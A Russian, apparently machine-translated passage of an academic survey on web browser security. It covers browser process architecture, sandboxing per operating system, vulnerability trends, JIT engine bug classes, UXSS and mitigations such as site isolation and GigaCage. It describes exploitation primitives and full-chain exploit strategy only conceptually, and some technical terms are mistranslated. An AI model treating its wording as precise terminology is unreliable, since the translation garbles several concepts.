Веб-браузеры являются неотъемлемой частью повседневной жизни каждого человека. Они часто используются для обеспечения безопасности и конфиденциальности, как для банковских транзакций, так и для проверки медицинских записей. К сожалению, современные веб-браузеры настолько сложны, что неизбежно имеют уязвимости (например, 25 миллионов строк кода в Chrome), и роль их в киберпространстве делает их уязвимыми. Таким образом, веб-браузеры являются естественной ареной для демонстрации продвинутых методов использования злоумышленниками и современных средств защиты от поставщиков браузеров. Возможно, веб-браузеры — отличное место для изучения последних проблем и технологий безопасности, но из-за их быстро меняющейся природы и сложной кодовой базы веб-браузеры все еще не так хороши, как кажется большинству исследователей безопасности. Чтобы восполнить этот пробел, в этой статье систематически описывается среда безопасности современных веб-браузеров путем изучения популярных типов уязвимостей безопасности, методов их использования и развертывании средств защиты.
Во-первых, сначала мы представляем унифицированную архитектуру, демонстрирующую дизайн безопасности четырех основных веб-браузеров.
Во-вторых, мы делимся выводами из почти 10-летнего лонгитюдного исследования
уязвимостей браузеров.
В-третьих, мы представляем график и контекст плана реагирования и его
эффективности.
В-четвертых, мы делимся уроками, извлеченными из эксплойтов полной цепочки, использованных в соревновании Pwn2Own 2020 года. Мы считаем, что это систематическое "причесывание" ключевых моментов может показать, как улучшить текущее состояние современных веб-браузеров и, что более важно, как создавать безопасное и трудновзламываемое программное обеспечение в будущем. Веб- браузеры играют неотъемлемую роль в современном образе жизни, связанном с Интернетом. Мы полагаемся на веб-браузеры, чтобы оплачивать ипотечные кредиты, планировать прививки и общаться с людьми по всему миру. Другими словами, веб- браузеры становятся привратниками киберпространства, и их незащищенность представляет серьезную угрозу безопасности, справедливости и конфиденциальности нашего общества. К сожалению, веб-браузеры всегда были наиболее привлекательными и ценными целями для кибератак — в 2021 году [58] 50% 0-day уязвимостей будут атаками на веб-браузеры, угрожающими Интернету. Каждому человеку.
Таким образом, современные веб-браузеры, естественно, являются полем битвы для злоумышленников, желающих взломать систему с помощью новых эксплойтов, и поставщиков браузеров, стремящихся обеспечить безопасность пользователей с помощью самых современных контрмер. Поставщики браузеров действительно являются важными игроками в продвижении современных методов обеспечения безопасности благодаря:
К сожалению, часто бывает не так просто принять детальные решения по проектированию безопасности и получить представление о новых средствах защиты от новых эксплойтов, и сообщество веб-браузеров заметило эту трудность. Частично причина в их сложной архитектуре, быстро меняющихся методах реализации и больших кодовых базах, но в основном из-за того, что нелегко систематизировать знания обо всех основных веб-браузерах четко и объективно одновременно. Эксперты от каждого поставщика браузеров, таких как Chrome [44], IE [51], Firefox [54], пытаются высказать свое мнение о дизайне и решениях в области безопасности. Предыдущие отраслевые отчеты [90], [226], опубликованные в 2017 году, в основном были сосредоточены на описании отдельных технологий и средств защиты в режиме реального времени, без развития академических взглядов или предоставления идей, которые помогают предвидеть будущие направления для сообщества. уроки.
В этой статье делается смелая попытка систематически разобраться в среде
безопасности современных веб-браузеров.
Во-первых, мы предоставляем унифицированную модель для четырех основных веб-
браузеров с точки зрения безопасности, а затем сравниваем и сопоставляем их
решения в области безопасности, используя предоставленные модели.
Во-вторых, на основе этой модели мы анализируем уязвимости безопасности, обнаруженные в каждом браузере с открытым исходным кодом за последние 10 лет, и показываем, как они связаны с разработкой новых контрмер, программ вознаграждения за обнаружение ошибок и известных методов эксплойтов.
В-третьих, основываясь на наших исследованиях, мы делимся своими знаниями и извлеченными уроками, чтобы вдохновлять исследователей и разработчиков, формирующих будущее веб-браузеров. Мы надеемся, что такая попытка поможет им получить всестороннее представление о подходе каждого поставщика, тем самым улучшив их структуру безопасности, чтобы свести к минимуму влияние на безопасность и поверхность атаки.
Три уникальные характеристики затрудняют систематизацию знаний о безопасности веб-браузеров.
Основное внимание в этом исследовании уделяется безопасности веб-браузера, включая защиту от собственных уязвимостей. Мы не рассматриваем другие проблемы безопасности, связанные с Интернетом, такие как проблемы безопасности веб- сайта или веб-сервера, такие как межсайтовый скриптинг (XSS), SQL-инъекция и т. д. Обратите внимание, что, хотя универсальный межсайтовый скриптинг (UXSS) звучит похоже на XSS, он часто возникает из-за проблем в реализации и дизайне браузеров и поэтому считается безопасностью веб-браузера (§III-E).
Архитектура современного браузера
В этом разделе представлена унифицированная модель для каждого веб-браузера, позволяющая объективно сравнивать их подходы.
Современные веб-браузеры используют принцип наименьших привилегий и рассматривают процесс операционной системы как защищенный домен. Используя домены процессов, каждый веб-браузер можно описать тремя типами процессов, а именно БРАУЗЕРНЫЕ ПРОЦЕССЫ (обозначено зеленым), ПРОЦЕСС РЕНДЕРИНГА пурпурным, фактически в фиолетовой части изображения) и СПЕЦИФИНЫЕ ПРОЦЕССЫ (отмечены желтым цветом), как показано на рисунке ниже..
Внутренняя архитектура четырех основных браузеров.
Все браузеры развертывают песочницу (розовая область), чтобы ограничить
средство визуализации, и подробный метод песочницы зависит от базовой ОС.
Существуют тонкие, но важные различия между браузерами.
Браузерные процессы - при запуске веб-браузера процесс браузера запускается с
тем же уровнем привилегий, что и пользователь (т. е. с более высокими
привилегиями), и передает файл конфигурации песочницы в операционную систему,
чтобы ограничить привилегии других процессов (т. е. с более низкими
привилегиями). Он управляет всеми дочерними процессами (такими как средство
визуализации) и является единственным процессом, который напрямую
взаимодействует с пользователем через системные вызовы (и пользовательский
интерфейс).
Процес рендеринга - этот процесс отвечает за синтаксический анализ и отображение ненадежного веб-контента. Постоянно увеличивающееся количество типов данных в Интернете привело к тому, что процессы рендеринга содержат широкий спектр компонентов, таких как синтаксические анализаторы мультимедиа, DOM и JS-движки. Поскольку они являются основным источником ошибок браузера, они ограничены изолированными программными средами (см. §II-C). Процессы визуализации обычно создаются для каждой вкладки браузера или веб-страницы. Политики изоляции для каждого средства визуализации различаются в зависимости от политик безопасности или возможностей каждого веб-браузера (например, изоляция сайта), ресурсов, доступных во время выполнения (например, нехватка памяти на мобильных устройствах) и даже конфигурации пользователя.
Другие процессы - Архитектура современных браузеров модульная. Модульный дизайн позволяет браузерам иметь разные уровни привилегий в зависимости от роли процесса. Службы, которые взаимодействуют с внешними драйверами (например, сетевые или графические процессы), выделяются как отдельные процессы, что обеспечивает более строгую песочницу для процессов, которым не требуется такой доступ (например, процессы рендеринга). Веб-браузеры также обычно размещают расширения и плагины в отдельных процессах. Это защищает плагины с более высокими уровнями привилегий от вредоносного веб-контента и защищает браузер от взлома в случае вредоносных плагинов.
Межпроцессное взаимодействие (IPC) - поскольку эти процессы не имеют прямого
доступа к памяти друг друга, они всегда взаимодействуют через канал IPC,
предоставляемый операционной системой, и связь обычно осуществляется через
процесс браузера (прокси). Другими словами, процесс браузера действует как
реляционный монитор, ограничивая прямой доступ к важным данным или
привилегированным операциям (например, к файлам cookie или системным вызовам)
из других процессов. Из-за этой многопроцессорной архитектуры атака всегда
запускается из процесса с низким уровнем привилегий, такого как процесс
рендеринга, и цель злоумышленника — взломать процесс браузера, работающий с
привилегиями пользователя. В то же время он восстанавливается после сбоев,
вызванных безобидными ошибками в процессе рендеринга, что делает браузер
устойчивым к проблемам со стабильностью.
Same Origin Policy, в переводе с англ. — «Принцип одинакового источника» . На
самом деле веб-сайты состоят из большого количества контента из разных
источников, например, с использованием CDN для общих библиотек JavaScript,
встраивания внешних сайтов через iframe или включения кнопок «Нравится» в
социальных сетях. Сложность веб-сайтов способствовала многочисленным политикам
безопасности и уникальным функциям каждого веб-браузера. В зависимости от
происхождения каждого веб-сайта [94] процесс браузера и процесс рендеринга
ограничивают ресурсы (например, файлы cookie), с которыми разрешено
взаимодействовать веб-странице, что известно как политика единого
происхождения (SOP)
Обсуждаемые до сих пор конструкции в равной степени применимы ко всем четырем основным браузерам. Однако, некоторые детали реализации будут различаться в зависимости от дизайна браузера и лежащей в его основе операционной системы. Например, процесс графического процессора в Chrome и Safari отделен от процесса рендеринга и использует профиль песочницы, чтобы позволить им получить доступ к платформе 3D API. Кроме того, в Chrome, Firefox и Safari есть отдельный процесс для веб-служб, в то время как веб-службы Chrome хранятся вне песочницы. В настоящее время команда Chrome внедряет песочницу для своих веб-сервисов. Песочница действительно защищает браузеры, однако с появлением атак Universal Cross-Site Scripting (UXSS) злоумышленники могут красть пользовательские данные из песочницы. Чтобы справиться с такими атаками, команда Chrome предложила изоляцию сайтов, чтобы еще больше разделить разные источники сайтов на разные процессы. Создается выделенный процесс для каждого источника сайта, поэтому нет неявного совместного использования между разными источниками сайтов. Изоляция сайта является эффективной мерой для решения проблемы UXSS, а также полезна для предотвращения аппаратных атак временного выполнения. У Firefox есть аналогичный проект под названием Fission, который был выпущен в Firefox_88_Beta.
JavaScript
Движок JavaScript лежит в основе современных браузеров, он преобразует код JavaScript в машинный код. Основные браузеры используют Just-In-Time (JIT) для ускорения выполнения кода. Кроме того, компилятор JIT моделирует результаты и побочные эффекты всех операций и запускает различные процессы анализа для оптимизации кода. Если какой-либо из них пойдет не так, будет сгенерирован и выполнен собственный код с проблемами повреждения памяти, что может привести к серьезным проблемам с безопасностью. Хотя каждый движок имеет различную реализацию, они используют схожие принципы проектирования и имеют общую поверхность атаки. Таким образом, злоумышленники могут создавать общие примитивы атаки для разных движков, такие как примитивы fakeobj и addrof и преобразование типов элементов. Механизмы JavaScript также используются вне браузера (например, Node.js использует V8), что усиливает влияние уязвимостей безопасности в механизмах JavaScript. Мы обсуждаем проблемы, вызванные браузерными движками того же типа, в §VI-A.
Рендеринг
Механизм рендеринга отвечает за интерпретацию ресурсов и рендеринг веб- страниц. Каждый из четырех больших браузеров имеет свой собственный движок рендеринга: Safari использует WebKit, Chrome использует Blink (производный от WebKit), Firefox использует Gecko, Edge использует Blink (заменяет EdgeHTML). Веб-стандарты служат базовыми спецификациями и ссылками для поставщиков браузеров при реализации своих механизмов рендеринга. По мере того, как веб- стандарты продолжают развивать новые функции, механизмы рендеринга также претерпевают быстрые изменения, т. е. внедряются новые функции или удаляются устаревшие функции. Из-за различных процессов принятия решений и стратегий реализации функции, реализованные в механизмах рендеринга разных браузеров, сильно различаются, и, следовательно, поверхность атаки также различна.
Песочница ограничивает выполнение программы в случае, если она отклоняется от своего предназначения. Однако базовые технологии и архитектуры, используемые для создания сред песочницы, значительно различаются в разных операционных системах. Чтобы изучить внутреннюю структуру реализации песочницы, мы действуем следующим образом и суммируем наши выводы в таблице I.
Таблица I. Сравнение песочниц (Chrome, Firefox, Edge, Safari; в Windows,
Linux, MacOS)
В таблице I мы делим примитивы песочницы на три категории в зависимости от их роли:
Поставщики браузеров используют различные примитивы в зависимости от заданных ограничений (например, доступной памяти). Например, изоляция сайта предотвращает превращение уязвимостей RCE в UXSS или побеги из песочницы, устанавливая необработанную границу безопасности на уровне процесса между зараженными средствами визуализации и привилегированными веб-страницами
Мы также сравниваем возможности песочницы разных операционных систем (например, Windows, Linux и macOS).
Windows: ограничение каждого процесса с помощью токена безопасности [117]. Как и в модели, основанной на возможностях, процесс, получивший определенный уровень токена, может получить доступ к привилегированным ресурсам с соответствующим уровнем дескриптора безопасности. Например, процесс рендерера выполняется на низком уровне маркера целостности, а прокси-процесс работает на среднем уровне маркера целостности, поэтому по умолчанию при переходе от процесса рендерера к прокси-процессу любой доступ на запись будет ограничен.
Однако единого протокола для детального управления доступом не существует.
Чтобы решить эту проблему, Chrome и Firefox используют свои собственные
механизмы IPC и исправления кода на двоичном уровне для функций, связанных с
ресурсами, для поддержки мелких наборов правил [117]. Microsoft представила
AppContainers в Windows 8, чтобы обеспечить более детальный контроль доступа к
ресурсам, добавив функциональную концепцию «прикрепления к токену процесса».
Edge создает песочницу на основе AppContainer [89]. Начиная с политики отказа
по умолчанию, Edge создает набор возможностей для необходимых системных
ресурсов. Chrome также экспериментирует с песочницами на основе AppContainer
[28]. Браузеры также используют различные функции для работы с побегами из
песочницы. Например, альтернативные рабочие столы и альтернативные оконные
станции могут использоваться для противодействия атакам на основе
пользовательского интерфейса, таким как Shatter [180]; «блокировка DACL по
умолчанию» [24] и «произвольное ограничение SID» [38] были введены для
обеспечения более строгого DACL, поэтому зараженный изолированный процесс не
может получить доступ к другим изолированным процессам.
Linux: В отличие от Windows, песочницы Linux в основном основаны на seccomp, chroot и пространстве имен. Во-первых, seccomp — это стандартный фильтр системных вызовов, основанный на языке eBPF. Поскольку конфигурация seccomp по умолчанию слишком строгая, браузеры определяют свои собственные правила фильтрации. Например, Chrome применяет свои собственные правила seccomp ко всем процессам, кроме процесса брокера, и подробные правила различаются для каждого процесса. Во-вторых, для ограничения доступа к файлам браузерные песочницы на базе Linux используют chroot-тюрьму. После того, как процесс был ограничен с помощью chroot, нет возможности получить доступ к более высоким иерархиям файловой системы. Например, Firefox применяет chroot-тюрьму ко всем средствам визуализации и разрешает им доступ только к определенным файлам на основе файлового дескриптора, полученного от прокси-процесса. Кроме того, браузеры используют пространства имен [74] для создания отдельных пространств для различных ресурсов, таких как пользователь, сеть и IPC. Например, создание и объединение пространств имен пользователей позволяет изолированным процессам иметь отдельные идентификаторы UID и GID, эффективно отключая доступ к другим не изолированным процессам.
macOS: в то время как Windows и Linux поддерживают различные типы примитивов песочницы, macOS поддерживает специально отформатированные файлы конфигурации песочницы (.sb) [75] для описания политики песочницы для данного процесса. Как правило, этот файл предоставляет список разрешенных абсолютных путей к файлам, к которым разрешен доступ, и по умолчанию блокирует доступ ко всем остальным файлам. Профиль также определяет возможность доступа к другим ресурсам, таким как сеть и общая память, и поддерживает фильтрацию на основе системных вызовов, такую как seccomp в Linux, хотя он развернут только в Safari.
Поскольку песочницы на основе процессов используют много памяти, мобильные платформы вводят небольшие различия в политиках песочниц или отключают их в зависимости от доступных ресурсов. Например, на Android изоляция сайтов в Chrome включается только в том случае, если на устройстве достаточно памяти (> 1,9 ГБ) и пользователю необходимо ввести пароль на веб-сайте. В iOS в Safari используются другие правила песочницы, чем в macOS, поскольку на мобильных устройствах доступны другие системные службы и драйверы IOKit. Из-за этих различий некоторые эксплойты могут работать только на мобильных платформах.
Эксплуотация браузера
Целью эксплуатации браузера является кража конфиденциальных данных его пользователей или установка вредоносных программ для дальнейших действий. Злоумышленники могут выполнять такие атаки, как UXSS, чтобы напрямую украсть данные или выполнить код, а затем попытаться выйти из песочницы. Злоумышленники могут попытаться получить системные привилегии для выхода из песочницы, атакуя ядро, что выходит за рамки этой статьи. Благодаря различным обходным путям злоумышленнику необходимо связать вместе несколько ошибок (например, использовать 4 комбинации ошибок до выхода из песочницы, чтобы добиться произвольного выполнения. Даже после захвата потока управления, поскольку процесс рендеринга выполняется внутри песочницы, злоумышленнику необходимо найти еще один набор ошибок в прокси-процессе для выхода из песочницы. В зависимости от имеющихся в арсенале уязвимостей злоумышленники часто пытаются вырваться из «песочницы», используя ошибки в системных службах, драйверах или ядре, а не в прокси-процессах.
В этом разделе мы сначала проводим статистическое исследование общедоступных уязвимостей браузеров за последнее десятилетие, чтобы определить тенденции, а затем описываем основные типы уязвимостей (например, ошибки движка JavaScript) и соответствующие ответы, выпущенные их поставщиками.
Сценарии эксплуатации браузера и классификация уязвимостей
Мы изучили общедоступные CVE и отчеты об уязвимостях для четырех основных
браузеров:
1. Регулярно обновляемые бюллетени безопасности от поставщиков браузеров .
2. Публичный трекер проблем, опубликованный вендором .
3. Репозитории с открытым исходным кодом имеют обычную практику отправки
исправлений ошибок к опубликованным уязвимостям .
4. Отчеты CVE в Национальной базе данных уязвимостей (NVD) .
5. Эксплойты безопасности, используемые в реальном мире, такие как ошибка,
используемая в Pwn2Own [61], и отчеты Google Project Zero.
Общее количество CVE в базе данных NVD
Количество собранных ошибок
Рисунок ниже показывает резкое увеличение числа уязвимостей безопасности во всех браузерах, особенно с 2010 года. Мы считаем, что это увеличение числа уязвимостей связано с растущим кодом браузера, поскольку постоянно добавляются новые функции. Кроме того, значительную роль сыграли достижения в методах поиска уязвимостей после 2010 года
Левая ось Y: количество уязвимостей в системе безопасности, правая ось Y: LoC двух браузеров с открытым исходным кодом (Firefox и Chromium) LoC основан на первом крупном обновлении версии каждый год. Примечание. LoC = строки кода.
Векторы динамических атак
Из-за огромного размера и постоянно меняющейся природы браузеров векторы атак постоянно меняются. Для браузеров с открытым исходным кодом Firefox и Chromium мы сопоставляем ошибки с соответствующими хост-компонентами и классами ошибок, как показано на рисунке 4. Для обоих браузеров мы использовали назначаемые разработчиком признаки для сопоставления ошибок с компонентами их основного браузера и описания уязвимостей с сопоставлением ключевых слов для их классификации.
Ошибки рендерера преобладают как в Firefox, так и в Chromium, потому что рендерер — это сердце браузера. Увеличение числа уязвимостей, связанных с спуфингом URL-адресов, в Chromium с 2016 года показывает, насколько легко найти уязвимости в ранее неисследованных областях. Ошибки памяти в целом и ошибки UAF в частности по-прежнему являются самой большой общей чертой обоих браузеров.
Еще один общий вывод заключается в том, что два браузера имели разное
количество уязвимостей в двух областях на протяжении многих лет. Например, для
компонентов с ошибками в Chromium в последнее время было больше эксплойтов DOM
и HTML, но количество эксплойтов DOM и HTML в Firefox уменьшается. Что
касается категории ошибок, большинство ошибок в Chromium в 2019 году были
классифицированы как уязвимости UAF, OOB и спуфинга URL, но описание
распространения ошибок в Firefox на протяжении многих лет было относительно
одинаковым. Следовательно, эта разница не только интуитивно показывает
изменяющиеся векторы атак, но и изменения в стратегиях классификации
уязвимостей безопасности разных браузеров.
Сопоставление ошибок с компонентами браузера хоста и классами уязвимостей в Firefox и Chromium На этом рисунке показан годовой характер поверхности атаки браузера Цифры на каждом рисунке представлены в масштабе от минимума до максимума.
Усилия браузера по борьбе с ошибками также можно показать на графике. Изоляция сайта Chromium в ответ на уязвимость UXSS привела к значительному сокращению вышеуказанных уязвимостей после того, как в 2017 году была реализована изоляция сайта. Некоторые типы уязвимостей остаются основными источниками ошибок, например компоненты DOM и HTML
Уязвимости безопасности памяти являются критическими и доминирующими в браузерах. Например, Chromium помечает более 70% уязвимостей высокой степени серьезности как проблемы с безопасностью памяти, половина из которых — ошибки UAF. Как показано на рисунке, несмотря на контрмеры, в последнее десятилетие доминировали уязвимости безопасности памяти. Недавно были предприняты попытки переписать браузеры на безопасных для памяти языках, таких как Rust, чтобы уменьшить уязвимости, связанные с безопасностью памяти. Например, Mozilla переписывает части Firefox на Rust в рамках проекта под названием Oxidation. По состоянию на 2020 год проект Oxidation заменил 12% компонентов Firefox на Rust (написан эквивалентный модуль). Пять замененных подкомпонентов относятся к компоненту синтаксического анализа мультимедиа средства визуализации. Мы также отображаем количество дыр безопасности в памяти в компоненте анализа мультимедиа средства визуализации на рис ниже. Понятно, что с момента запуска Project Oxidation в 2015 году количество ошибок безопасности памяти в Firefox немного, но неуклонно снижается, при этом значительно меньше ошибок безопасности памяти в медиа-компоненте рендерера. Несмотря на многочисленные попытки производителей браузеров решить проблему безопасности памяти, ни одна из них не дала такого резкого эффекта, как Oxidation в Firefox.
Количество уязвимостей памяти и других уязвимостей в Firefox и других браузерах. RM-Mem — это количество уязвимостей безопасности памяти в компоненте парсинга мультимедиа средства визуализации Firefox, описывающее тенденцию к снижению с 2015 года после частичной перезаписи в Rust.
Использование языка, безопасного для памяти, может эффективно уменьшить
уязвимости безопасности памяти.
Как показано на рисунке выше, использование Rust в Firefox эффективно для
уменьшения уязвимостей безопасности памяти. Хотя это требует больших усилий,
это фундаментальный подход, и именно он с наибольшей вероятностью устранит
уязвимости безопасности памяти. Мы рекомендуем другим производителям браузеров
следовать этой лучшей практике и постепенно переводить свои браузеры на
безопасный для памяти язык.
Уязвимости браузеров
Уязвимости браузера при реальной атаке заслуживают большего внимания, поскольку с точки зрения злоумышленника они указывают на выявленный вектор атаки. Для изучения таких уязвимостей мы собираем информацию из надежных источников, которые получают только уязвимости с высокой степенью использования. Для эксплойтов, используемых в дикой природе, мы ссылаемся на регулярно обновляемый отчет Google Project Zero, в котором отслеживаются все общедоступные случаи эксплойтов нулевого дня с 2014 года. Мы также собирали эксплойты в Pwn2Own, реальном хакерском соревновании, спонсируемом Zero Day Initiative
Тенденции в отношении используемых компонентов браузера и категорий ошибок.
Данные включают ошибки во всех браузерах. В строке указано совокупное
количество ошибок. Ошибки движка JavaScript и UAF доминируют над используемыми
компонентами ошибок и типами уязвимостей, соответственно.
Для компонентов браузера преобладали уязвимости DOM, пока в 2017 году их не заменили уязвимости движка JS. Тем не менее, уязвимости DOM сохраняются и сегодня и показывают медленный и устойчивый рост даже после того, как было добавлено множество мер по их устранению. Для типов уязвимостей, несмотря на все меры противодействия, ошибок безопасности памяти, таких как уязвимости UAF, в фактической эксплуатации по-прежнему больше, чем других типов уязвимостей. Интересным открытием стала соответствующая тенденция в категориях и компонентах выявленных уязвимостей. Для большинства линий на графике мы видим довольно резкий рост в первые годы, но более медленный рост после этого (за исключением ошибок движка JavaScript). Эта тенденция является визуальным представлением усилий злоумышленников по поиску и изучению новых методов атак, а также ответных мер поставщиков по устранению и устранению новых уязвимостей.
Парсеры часто страдают от проблем с повреждением памяти, парсеры в браузерах не исключение. В веб-браузерах большинство уязвимостей синтаксических анализаторов возникает в синтаксических анализаторах мультимедиа или синтаксических анализаторах сетевых протоколов. Средство визуализации (медиа) занимает большую долю. Эти уязвимости легче использовать в процессе рендеринга, поскольку их можно использовать для повреждения объектов JS и создания более мощных примитивов эксплойта.
После ужесточения распределителя кучи этот эксплойт стал более сложным или невозможным, в основном из-за разделения объектов JS в куче. Однако крупномасштабные фаззеры, такие как ClusterFuzz, также обнаружили много уязвимостей парсера. Поставщики браузеров работают над изолированием сетевого кода и переписыванием кода браузера на безопасных для памяти языках, таких как Rust. В результате таких уязвимостей становится меньше, и их сложнее использовать. Тем не менее, при анализе данных существуют зависимости от нескольких сторонних библиотек, поэтому обновления безопасности необходимо строго контролировать.
Уязвимости DOM являются популярной мишенью для злоумышленников; большинство эксплуатируемых уязвимостей были уязвимостями DOM. Поскольку большинство из них являются уязвимостями UAF, были развернуты контрмеры для снижения возможности их использования, такие как изоляция кучи и отложенный выпуск.
Хотя фаззеры продолжают выявлять новые уязвимости DOM, из-за возросшей сложности эксплуатации уязвимостей DOM, недавно известные полноценные эксплойты в дикой природе, как правило, используются на деле уязвимости в других компонентах.
Контрмеры UAF эффективны в снижении эксплуатации уязвимостей DOM.
Поскольку ошибки DOM в значительной степени зависят от проблем UAF, они в основном решаются с помощью контрмер UAF. Обычные методы эксплуатации, основанные на обфускации типа указателя, стали невыполнимыми, поскольку куча разделяется по типам объектов, и нет общедоступной альтернативной техники. В результате, использование уязвимостей DOM больше не является предпочтительным методом взлома рендереров.
Среди недавних эксплойтов браузера эксплойты движка JS являются одной из самых популярных целей для эксплойтов браузера, особенно уязвимостей, связанных с оптимизацией. Не менее 34% эксплуатируемых уязвимостей используют эксплойты JS-движка для компрометации процесса рендеринга, что часто является первым шагом эксплойта с полной цепочкой браузера. Эксплойты движка JS можно использовать для создания мощных примитивов эксплойта, таких как addrof (оставление адреса любого объекта JS) и fakeobj (доступ к произвольному адресу как к объекту).
Компилятор JIT в движке JS использует спекулятивную оптимизацию. Уязвимости в этих механизмах оптимизации являются более серьезными, чем традиционные уязвимости безопасности памяти (такие как повторное использование после освобождения или переполнение буфера), потому что они неустранимы, но предоставляют злоумышленникам мощные примитивы эксплойта. С точки зрения высокого уровня ошибки движка JS можно в основном разделить на четыре категории: - Уязвимости JIT-анализа: уязвимости в процессе анализа или модели JIT-компилятора. Такие уязвимости имеют наибольшую возможность использования и влияние. - Уязвимости мутации/генерации JIT-кода: уязвимости в процессе манипулирования графами JIT или генерации кода. - Ошибки побочных эффектов, не связанные с JIT: ошибки побочных эффектов во встроенных функциях JavaScript, в основном связанные с быстрым путем. - Уязвимости, не связанные с JIT Legacy, приводящие к повреждению памяти: другие уязвимости, приводящие к повреждению памяти, не подпадающие под указанные выше категории.
Мы изучили 45 эксплуатируемых уязвимостей; есть 13 уязвимостей JIT-анализа, 9 уязвимостей с побочными эффектами, не связанных с JIT, и 11 устаревших уязвимостей, связанных с повреждением памяти, но нет уязвимостей JIT-кода, связанных с изменением/генерацией кода. Мы подозреваем, что это связано с тем, что эту уязвимость сложно использовать. Большинство ошибок в JIT-компиляторах — это логические ошибки. Поскольку это инфраструктура компилятора, логические уязвимости могут быть преувеличены как дыры безопасности памяти в коде, скомпилированном JIT. Поэтому сложно сделать общие меры по устранению ошибок JIT.
Меры противодействия:
Примитивное исключение
Этот тип контрмер предназначен для предотвращения подделки злоумышленниками
допустимых объектов с помощью примитива fakeobj. Например, в JavaScriptCore
рандомизация StructureID использует 7 случайных битов энтропии для кодирования
StructureID, что затрудняет угадывание злоумышленниками. Поскольку StructureID
представляет тип и форму объекта JS, угадывание неправильного StructureID
сделает форму недействительной, а доступ к ней в конечном итоге приведет к
сбою процесса
Изоляция адресного пространства
Этот тип контрмер изолирует различные объекты, чтобы предотвратить их подделку
или перезапись. GigaCage — это область виртуальной памяти объемом 4 ГБ,
которая разделяет разные объекты на разные кучи (или виды кучи). Основная идея
состоит в том, чтобы предотвратить доступ к памяти между разными кучами и
использовать относительные смещения от базового адреса кучи для поиска
объектов GigaCaged вместо абсолютных адресов. Таким образом, даже если
указатель поврежден, он не может указывать ни на что за пределами исходной
кучи. PACCage используется для защиты указателя буфера резервного хранилища
TypedArray и использует код аутентификации указателя (PAC) поверх GigaCage для
дальнейшего повышения безопасности. Песочница Chrome V8 Heap является
экспериментальной и ее цель аналогична GigaCage, но она пытается защитить
внешние указатели с помощью отдельной таблицы указателей, после чего
злоумышленник не может создавать произвольные значения для внешних указателей.
Защита от перезаписи
Это стандартный механизм защиты, предотвращающий внедрение злоумышленниками
произвольного исполняемого кода, и его можно рассматривать как последнюю линию
защиты в контексте эксплойтов браузера.
Контролируемое устранение байтов - JCRA исходит из фундаментального
предположения, что, контролируя непосредственные операнды и определенные коды
операций, злоумышленник может контролировать JIT-код, сгенерированный в куче
памяти. Следовательно, контрмеры должны устранить предсказуемость управляющих
байтов злоумышленника, например, запутать большие константы, выделение
регистров, которые заменяют непосредственные операнды и локальные переменные,
и неразборчивые инструкции кадра вызова
Внутренняя рандомизация - Злоумышленник также может использовать относительное расположение инструкций друг к другу или предсказуемое смещение от базового адреса. Некоторые контрмеры, направленные на диверсификацию компоновки кода JIT, включают: рандомизацию относительных смещений между различными парами инструкций и случайную вставку свободного места перед первой кодовой единицей
Хотя проводятся эксперименты по предотвращению определенных типов уязвимостей (§IV-D), охватить их все сложно. Поэтому контрмеры в движках JS сосредоточены на устранении примитивов атаки. Недавно команда Edge добавила новую функцию безопасности под названием Super Duper Secure Mode (SDSM), которая фактически отключает JIT-компиляцию. Пользователи могут отключить JIT на менее посещаемых сайтах. Несмотря на некоторую потерю производительности, это отличный способ уменьшить поверхность атаки. Несмотря на то, что было введено несколько контрмер, JCRA по-прежнему полезен, поскольку поставщик не инвестировал много ресурсов для реализации или поддержания контрмер.
Бороться с уязвимостями JS-движков очень сложно. Уязвимости движка JavaScript, особенно уязвимости JIT-компилятора, являются очень мощными, поскольку злоумышленник может выпустить код с проблемами повреждения памяти. Поскольку бороться с логическими уязвимостями зачастую сложно, многие контрмеры направлены на предотвращение эскалации эксплойтов на языке оригинала. В результате поставщики часто внедряют меры по снижению риска, которые прерывают путь эксплойта, и постоянно совершенствуют их для предотвращения будущих атак.
Политика единого источника (SOP) применяется веб-браузерами для поддержания границ безопасности между разными источниками. Уязвимости обхода SOP можно использовать для компрометации SOP в разной степени: от утечки одного бита до кражи целой страницы данных. Уязвимости UXSS — это самый мощный тип уязвимости обхода SOP, который можно использовать для облегчения междоменного выполнения кода JavaScript. При атаке UXSS злоумышленник может внедрить скрипты в любой затронутый контекст, используя уязвимости в веб-браузерах или сторонних расширениях для достижения той же цели, что и использование XSS на цели. Уязвимость веб-сайта имеет тот же эффект.
Изоляция сайта — одна из наиболее важных контрмер против UXSS-атак. Изоляция сайта обеспечивает соблюдение SOP на уровне процесса, что делает невозможным использование большинства существующих уязвимостей UXSS. После постепенного применения изоляции сайтов после 2017 года количество зарегистрированных уязвимостей UXSS значительно уменьшилось, как показано на рисунке 6. Но уязвимости UXSS в сторонних расширениях все еще существуют; в популярных расширениях было обнаружено множество уязвимостей UXSS, которые позволяют злоумышленникам обходить изоляцию сайта и красть учетные данные пользователей. Изоляция сайта является эффективной мерой по снижению уязвимостей UXSS. Однако только Chrome и Firefox развернули изоляцию сайта, поскольку это требует значительных инженерных работ.
В этом разделе мы описываем более общие контрмеры, реализованные поставщиками браузеров, которые не были рассмотрены в предыдущих разделах. Мы провели лонгитюдное исследование ответов, реализованных в четырех основных браузерах за последнее десятилетие, вместе с датами их применения и прекращения использования
Песочница имеет решающее значение для безопасности браузера, поскольку она ограничивает влияние уязвимостей в процессе рендеринга, который содержит различные компоненты, подверженные проблемам. За исключением случаев, подобных UXSS, злоумышленникам необходимо использовать уязвимости в ядре, системных службах или процессах браузера, чтобы выйти из песочницы рендерера. Таким образом, это значительно поднимает планку для атаки, поскольку злоумышленникам необходимо использовать оба компонента (рендерер и песочницу) для выполнения атаки 0-day по полной цепочке.
Блокировка Win32k - Поскольку большинство уязвимостей ядра Windows существует в системных вызовах Win32k, в 2012 году Microsoft ввела политику отключения системных вызовов — Win32k Lockdown для Windows. Разработчики Windows- приложений могут полностью блокировать доступ к таблице системных вызовов Win32k, значительно уменьшая поверхность атаки. Edge, Chrome и Firefox уже используют этот механизм для защиты браузера. Поэтому реализация выхода из песочницы из процесса визуализации становится более сложной.
Песочница на базе гипервизора - Application Guard в Защитнике Windows (WDAG) был представлен Microsoft для изоляции ненадежных веб-сайтов или ресурсов (например, файлов) в корпоративных сценариях. WDAG использует Hyper-V для создания нового экземпляра Windows на аппаратном уровне, который включает в себя отдельную копию ядра и минимальные службы платформы Windows, чтобы обеспечить правильную работу браузера Edge. WDAG реализован в Edge для предотвращения расширенных атак, которые могут обойти изолированную программную среду браузера. Благодаря WDAG злоумышленникам необходимо избегать песочниц и виртуальных машин Hyper-V.
Улучшенное распределение
